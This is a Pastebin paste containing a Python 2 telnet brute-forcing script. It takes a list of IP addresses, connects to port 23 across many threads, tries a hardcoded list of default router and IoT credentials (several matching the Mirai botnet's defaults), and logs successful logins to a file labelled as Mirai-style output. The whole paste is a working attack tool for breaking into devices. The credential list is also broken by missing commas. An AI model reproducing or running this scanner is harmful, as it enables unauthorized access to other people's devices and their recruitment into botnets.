Advertisement
Guest User

Untitled

a guest
Dec 14th, 2018
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.50 KB | None | 0 0
  1. #!/usr/bin/python
  2. import threading
  3. import sys, os, re, time, socket
  4. from Queue import *
  5. from sys import stdout
  6.  
  7. if len(sys.argv) < 4:
  8. print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"
  9. sys.exit()
  10.  
  11. combo = [
  12. "666666:666666"
  13. "888888:888888"
  14. "admin:"
  15. "admin:1111"
  16. "admin:1111111"
  17. "admin:1234"
  18. "admin:12345"
  19. "admin:123456"
  20. "admin:54321"
  21. "admin:7ujMko0admin"
  22. "admin:admin"
  23. "admin:admin1234"
  24. "admin:meinsm"
  25. "admin:pass"
  26. "admin:password"
  27. "admin:smcadmin"
  28. "admin1:password"
  29. "administrator:1234"
  30. "Administrator:admin"
  31. "guest:12345"
  32. "guest:guest"
  33. "mother:fucker"
  34. "root:"
  35. "root:00000000"
  36. "root:1111"
  37. "root:1234"
  38. "root:12345"
  39. "root:123456"
  40. "root:54321"
  41. "root:666666"
  42. "root:7ujMko0admin"
  43. "root:7ujMko0vizxv"
  44. "root:888888"
  45. "root:admin"
  46. "root:anko"
  47. "root:default"
  48. "root:dreambox"
  49. "root:hi3518"
  50. "root:ikwb"
  51. "root:juantech"
  52. "root:jvbzd"
  53. "root:klv123"
  54. "root:klv1234"
  55. "root:pass"
  56. "root:password"
  57. "root:realtek"
  58. "root:root"
  59. "root:system"
  60. "root:user"
  61. "root:vizxv"
  62. "root:xc3511"
  63. "root:xmhdipc"
  64. "root:zlxx."
  65. "root:Zte521"
  66. "service:service"
  67. "supervisor:supervisor"
  68. "support:support"
  69. "tech:tech"
  70. "ubnt:ubnt"
  71. "user:user"
  72. ]
  73.  
  74. ips = open(sys.argv[1], "r").readlines()
  75. threads = int(sys.argv[2])
  76. output_file = sys.argv[3]
  77. queue = Queue()
  78. queue_count = 0
  79.  
  80. for ip in ips:
  81. queue_count += 1
  82. stdout.write("\r[%d] Added to queue" % queue_count)
  83. stdout.flush()
  84. queue.put(ip)
  85. print "\n"
  86.  
  87.  
  88. class router(threading.Thread):
  89. def __init__ (self, ip):
  90. threading.Thread.__init__(self)
  91. self.ip = str(ip).rstrip('\n')
  92. def run(self):
  93. username = ""
  94. password = ""
  95. for passwd in combo:
  96. if ":n/a" in passwd:
  97. password=""
  98. else:
  99. password=passwd.split(":")[1]
  100. if "n/a:" in passwd:
  101. username=""
  102. else:
  103. username=passwd.split(":")[0]
  104. try:
  105. tn = socket.socket()
  106. tn.settimeout(8)
  107. tn.connect((self.ip,23))
  108. except Exception:
  109. tn.close()
  110. break
  111. try:
  112. hoho = ''
  113. hoho += readUntil(tn, "ogin:")
  114. if "ogin" in hoho:
  115. tn.send(username + "\n")
  116. time.sleep(0.09)
  117. except Exception:
  118. tn.close()
  119. try:
  120. hoho = ''
  121. hoho += readUntil(tn, "assword:")
  122. if "assword" in hoho:
  123. tn.send(password + "\n")
  124. time.sleep(0.8)
  125. else:
  126. pass
  127. except Exception:
  128. tn.close()
  129. try:
  130. prompt = ''
  131. prompt += tn.recv(40960)
  132. if ">" in prompt and "ONT" not in prompt:
  133. success = True
  134. elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
  135. success = True
  136. else:
  137. tn.close()
  138. if success == True:
  139. try:
  140. os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai
  141. print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
  142. tn.close()
  143. break
  144. except:
  145. tn.close()
  146. else:
  147. tn.close()
  148. except Exception:
  149. tn.close()
  150.  
  151. def readUntil(tn, string, timeout=8):
  152. buf = ''
  153. start_time = time.time()
  154. while time.time() - start_time < timeout:
  155. buf += tn.recv(1024)
  156. time.sleep(0.01)
  157. if string in buf: return buf
  158. raise Exception('TIMEOUT!')
  159.  
  160. def worker():
  161. try:
  162. while True:
  163. try:
  164. IP = queue.get()
  165. thread = router(IP)
  166. thread.start()
  167. queue.task_done()
  168. time.sleep(0.02)
  169. except:
  170. pass
  171. except:
  172. pass
  173.  
  174. for l in xrange(threads):
  175. try:
  176. t = threading.Thread(target=worker)
  177. t.start()
  178. except:
  179. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement